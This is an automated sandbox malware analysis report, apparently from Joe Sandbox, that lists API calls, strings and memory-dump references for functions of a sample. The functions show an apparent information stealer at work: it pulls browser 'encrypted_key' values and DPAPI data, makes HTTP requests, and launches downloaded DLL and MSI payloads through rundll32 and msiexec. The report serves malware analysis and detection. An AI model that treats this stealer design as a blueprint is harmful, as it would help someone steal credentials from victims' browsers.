Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D083
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D1C7
HeapAlloc.KERNEL32(00000000), ref: 0040D1CE
lstrcatA.KERNEL32(?,00000000,008A9000,0042156C,008A9000,00421568,00000000), ref: 0040D308
lstrcatA.KERNEL32(?,00421570), ref: 0040D317
lstrcatA.KERNEL32(?,00000000), ref: 0040D32A
lstrcatA.KERNEL32(?,00421574), ref: 0040D339
lstrcatA.KERNEL32(?,00000000), ref: 0040D34C
lstrcatA.KERNEL32(?,00421578), ref: 0040D35B
lstrcatA.KERNEL32(?,00000000), ref: 0040D36E
lstrcatA.KERNEL32(?,0042157C), ref: 0040D37D
lstrcatA.KERNEL32(?,00000000), ref: 0040D390
lstrcatA.KERNEL32(?,00421580), ref: 0040D39F
lstrcatA.KERNEL32(?,00000000), ref: 0040D3B2
lstrcatA.KERNEL32(?,00421584), ref: 0040D3C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D3D4
lstrcatA.KERNEL32(?,00421588), ref: 0040D3E3

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,008A8FB0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

lstrlenA.KERNEL32(?), ref: 0040D42A
lstrlenA.KERNEL32(?), ref: 0040D439
memset.MSVCRT ref: 0040D488

Part of subcall function 0041AD80: StrCmpCA.SHLWAPI(00000000,00421568,0040D2A2,00421568,00000000), ref: 0041AD9F

DeleteFileA.KERNEL32(00000000), ref: 0040D4B4

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTimememset
String ID:
API String ID: 2775534915-0
Opcode ID: 6256b623a534a34873cb201b0547a9aec3ec95ac78e9249410e8a76696672d23
Instruction ID: 090733d9ad632ec07999f14fc915118f0ed2ae89bdc12e1fab3d18f5c5045e08
Opcode Fuzzy Hash: 6256b623a534a34873cb201b0547a9aec3ec95ac78e9249410e8a76696672d23
Instruction Fuzzy Hash: 35E17571E15114ABCB04EBA1ED56EEE7339AF14305F10415EF106760A1EF38BB98CB6A

Function 61E100D7 Relevance: 27.3, APIs: 11, Strings: 7, Instructions: 280COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E100FC
memcmp.MSVCRT ref: 61E10131
memcmp.MSVCRT ref: 61E10580

Strings

ive, xrefs: 61E1063A
ous, xrefs: 61E10618
ence, xrefs: 61E103D4
ance, xrefs: 61E103AD
ize, xrefs: 61E1065C
iti, xrefs: 61E105FC
ate, xrefs: 61E105D5

Memory Dump Source

Source File: 00000000.00000002.2484683203.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.2484661138.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484749854.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484776536.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484803493.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484827061.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484850022.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2484893655.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_I43xo3KKfS.jbxd

Similarity

API ID: memcmp
String ID: ance$ate$ence$iti$ive$ize$ous
API String ID: 1475443563-1713922985
Opcode ID: 5306eb8679e29c7ccae58c152c61b3cb2e43ab0ad82d1b8259ffa351aff7fd54
Instruction ID: a6745917a23cee73da34d97950539bfd860ce037a133a9b2c34405b562b65f13
Opcode Fuzzy Hash: 5306eb8679e29c7ccae58c152c61b3cb2e43ab0ad82d1b8259ffa351aff7fd54
Instruction Fuzzy Hash: 90C127B0E083068BDB00DF94C58669EBBF4AF85348F31C81ED890DB754D779D5A68B92

Function 0040CA90 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,008B02B8,00000000,?,00421544,00000000,?,?), ref: 0040CB6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CB89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CB95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CBA8
??_U@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CBB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CBD9
StrStrA.SHLWAPI(?,008B0078,00420B56), ref: 0040CBF7
StrStrA.SHLWAPI(00000000,008B0360), ref: 0040CC1E
StrStrA.SHLWAPI(?,008B0E20,00000000,?,00421550,00000000,?,00000000,00000000,?,008A8FD0,00000000,?,0042154C,00000000,?), ref: 0040CDA2
StrStrA.SHLWAPI(00000000,008B0F20), ref: 0040CDB9

Part of subcall function 0040C920: memset.MSVCRT ref: 0040C953
Part of subcall function 0040C920: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,008A8FE0), ref: 0040C971
Part of subcall function 0040C920: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C97C
Part of subcall function 0040C920: memcpy.MSVCRT(?,?,?), ref: 0040CA12

StrStrA.SHLWAPI(?,008B0F20,00000000,?,00421554,00000000,?,00000000,008A8FE0), ref: 0040CE5A
StrStrA.SHLWAPI(00000000,008A9200), ref: 0040CE71

Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B47), ref: 0040CA43
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4B), ref: 0040CA57
Part of subcall function 0040C920: lstrcatA.KERNEL32(?,00420B4E), ref: 0040CA78

lstrlenA.KERNEL32(00000000), ref: 0040CF44
CloseHandle.KERNEL32(00000000), ref: 0040CF9C

Strings

, xrefs: 0040CAC6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 1564132460-3916222277
Opcode ID: b257e90f61008244600d2b69728df6a7f0f85f455e93aecfc7a0a0949a2ed316
Instruction ID: 4fdc336044367871c69213567fe42fce90f61d04e08d5fff212e48b059342ccf
Opcode Fuzzy Hash: b257e90f61008244600d2b69728df6a7f0f85f455e93aecfc7a0a0949a2ed316
Instruction Fuzzy Hash: 2AE13E71D05108ABCB14EBA1DCA6FEEB779AF14304F00419EF10663191EF387A99CB69

Function 6D4ADA70 Relevance: 26.6, APIs: 9, Strings: 6, Instructions: 362libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6D4AA9E0: SetLastError.KERNEL32(00000000), ref: 6D4AAAA7
Part of subcall function 6D4AA9E0: GetCurrentDirectoryW.KERNEL32(00000000,00000002), ref: 6D4AAAAF
Part of subcall function 6D4AA9E0: GetLastError.KERNEL32 ref: 6D4AAABB
Part of subcall function 6D4AA9E0: GetLastError.KERNEL32 ref: 6D4AAACD

GetCurrentProcess.KERNEL32 ref: 6D4ADC12
GetCurrentThread.KERNEL32 ref: 6D4ADC1B
RtlCaptureContext.KERNEL32(?), ref: 6D4ADC3B
GetProcAddress.KERNEL32(SymFunctionTableAccess64), ref: 6D4ADC7D
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6D4ADCA7
GetCurrentProcess.KERNEL32 ref: 6D4ADCBC
GetProcAddress.KERNEL32(StackWalkEx), ref: 6D4ADCDF
ReleaseMutex.KERNEL32(?), ref: 6D4ADE01
GetProcAddress.KERNEL32(StackWalk64), ref: 6D4ADF34

Part of subcall function 6D47AC00: HeapFree.KERNEL32(00000000,0000000C), ref: 6D4AEBD8

Strings

SymFunctionTableAccess64, xrefs: 6D4ADC72
stack backtrace:, xrefs: 6D4ADB97
StackWalk64, xrefs: 6D4ADF29
StackWalkEx, xrefs: 6D4ADCD4
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 6D4ADE28
SymGetModuleBase64, xrefs: 6D4ADC9C

Memory Dump Source

Source File: 00000000.00000002.2484945145.000000006D471000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D470000, based on PE: true

Associated: 00000000.00000002.2484923927.000000006D470000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2484994034.000000006D4D1000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485034736.000000006D517000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2485059534.000000006D519000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d470000_I43xo3KKfS.jbxd

Similarity

API ID: AddressCurrentProc$ErrorLast$Process$CaptureContextDirectoryFreeHeapMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]$stack backtrace:
API String ID: 2896442597-500235477
Opcode ID: 1c0474cb4abbcb79e3049306126b430ca35ef652c0bb2c453e434bf30e257d08
Instruction ID: d93fbeb6ae2dc1d3f591271795196a4968cc0e1e27f6b20c2b0cba202c5f7182
Opcode Fuzzy Hash: 1c0474cb4abbcb79e3049306126b430ca35ef652c0bb2c453e434bf30e257d08
Instruction Fuzzy Hash: 96F127B4500B009FEB21DF24C985B93BBF4BF59304F14891DE9AA87B91EB75B848CB51

Function 004191A0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 004191FC

Strings

`dAF, xrefs: 00419361, 004193D9, 0041930E, 004192DF, 004192B2, 0041920D, 004191E4, 00419364
`dAF, xrefs: 004191CF, 00419399, 004191D2, 0041939C
image/jpeg, xrefs: 004192C6

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: `dAF$`dAF$image/jpeg
API String ID: 2244384528-2462684518
Opcode ID: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction ID: 5957f6d1424668cbfb95915d93d24f68315a2265fb4ab52f55d04562dbc5d918
Opcode Fuzzy Hash: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction Fuzzy Hash: BE710E71E11208ABDB14EFE4DC95FEEB779BF48300F10851AF516A7290EB34A944CB65

Function 004119F0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00411A15
ExitProcess.KERNEL32 ref: 00411A21
strtok_s.MSVCRT ref: 00411A38

Strings

block, xrefs: 00411A07

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 16a61b9e9c53a6f3eef78b4bc13a8f9445276944cd4d6d9a69e86e35346bbe0e
Instruction ID: 24cedd258c0b2a3a786e48f87e23423129f016670b7ad46fccbec0895e921d59
Opcode Fuzzy Hash: 16a61b9e9c53a6f3eef78b4bc13a8f9445276944cd4d6d9a69e86e35346bbe0e
Instruction Fuzzy Hash: 00513174B0A109DFCB04DF94D984FEE77B9AF44704F10405AE502AB261E778EA91CB5A

Function 00415510 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,008B21D0), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,008B1918,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
lstrlenA.KERNEL32(00000000), ref: 0041557F

Part of subcall function 00418FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418FE2

StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
lstrlenA.KERNEL32(00000000), ref: 004155D3
strtok.MSVCRT(00000000,?), ref: 004155EE
lstrlenA.KERNEL32(00000000), ref: 004155FE

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

lXA, xrefs: 0041570E, 004156D4, 00415697, 0041565A, 0041561E
ERROR, xrefs: 004156F9
ERROR, xrefs: 00415609
ERROR, xrefs: 004156BF
ERROR, xrefs: 00415682
ERROR, xrefs: 0041555A

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$lXA
API String ID: 3532888709-2643084821
Opcode ID: c44fca8a537afef0bb3bcd6762fa59a3add158d18e1fb6591059ef272e4d64f8
Instruction ID: 990a636b304bf614e487c778196146b6daa8d27d3f5f6fae7c13381180e093e6
Opcode Fuzzy Hash: c44fca8a537afef0bb3bcd6762fa59a3add158d18e1fb6591059ef272e4d64f8
Instruction Fuzzy Hash: B7518030A11148EBCB14FF61DDA6AED7339AF10354F50442EF50A671A1EF386B94CB5A

Function 00411520 Relevance: 19.8, APIs: 13, Instructions: 308stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411557
strtok_s.MSVCRT ref: 004119A0

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,008A8FB0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: d026d0c808c65a01a6291f81a6b8957d86ea73f47f59f0bd39888d28c753044c
Instruction ID: 972b35e280e46cb9f8f2efccef7ae82ad5cc4b0fb079cf0b80f28d4141883f35
Opcode Fuzzy Hash: d026d0c808c65a01a6291f81a6b8957d86ea73f47f59f0bd39888d28c753044c
Instruction Fuzzy Hash: 98C1D1B5A011089BCB14EF60DC99FDA7379AF58308F00449EF509A7282EB34EAD5CF95

Function 00413080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

ShellExecuteEx.SHELL32(0000003C), ref: 00413415
ShellExecuteEx.SHELL32(0000003C), ref: 004135AD
ShellExecuteEx.SHELL32(0000003C), ref: 0041373A

Strings

.msi, xrefs: 004135E8
.dll, xrefs: 00413435
C:\Windows\system32\rundll32.exe, xrefs: 00413582
<, xrefs: 004136E0
C:\Windows\system32\msiexec.exe, xrefs: 0041370F
"" , xrefs: 004132EA
/passive, xrefs: 004136AB
/i ", xrefs: 00413634

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I43xo3KKfS.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 63532101521a2f9d21f064052461ae91075a1f4744e3d945553df4bf6c29cfed
Instruction ID: 9b621e5b28039e8226f92625bb5802f9f58bb257d03f06fe20f9cf3dfd15236c
Opcode Fuzzy Hash: 63532101521a2f9d21f064052461ae91075a1f4744e3d945553df4bf6c29cfed
Instruction Fuzzy Hash: 271241719011189ACB14FBA1DDA2FEDB739AF14314F00419FF10666196EF382B99CFA9

Function 004144D0 Relevance: 19.7, APIs: 13, Instructions: 202stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004144EE
memset.MSVCRT ref: 00414505

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 0041453C
lstrcatA.KERNEL32(?,008B0540), ref: 0041455B
lstrcatA.KERNEL32(?,?), ref: 0041456F
lstrcatA.KERNEL32(?,008B0108), ref: 00414583

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 0040A430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0040A489
Part of subcall function 0040A430: memcmp.MSVCRT(?,DPAPI,00000005), ref: 0040A4E2

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Part of subcall function 00419550: GlobalAlloc.KERNEL32(00000000,0041462D,0041462D), ref: 00419563

StrStrA.SHLWAPI(?,008B0528), ref: 00414643
GlobalFree.KERNEL32(?), ref: 00414762

Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A23F
Part of subcall function 0040A210: LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 0040A251
Part of subcall function 0040A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 0040A27A
Part of subcall function 0040A210: LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 0040A28F

Part of subcall function 0040A560: memcmp.MSVCRT(?,v20,00000003), ref: 0040A57D

lstrcatA.KERNEL32(?,00000000), ref: 004146F3
StrCmpCA.SHLWAPI(?,004208D2), ref: 00414710
lstrcatA.KERNEL32(00000000,00000000), ref: 00414722
lstrcatA.KERNEL32(00000000,?), ref: 00414735
lstrcatA.KERNEL32(00000000,00420FA0), ref: 00414744

Memory Dump Source

Source File: 00000000.00000002.2466040333.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
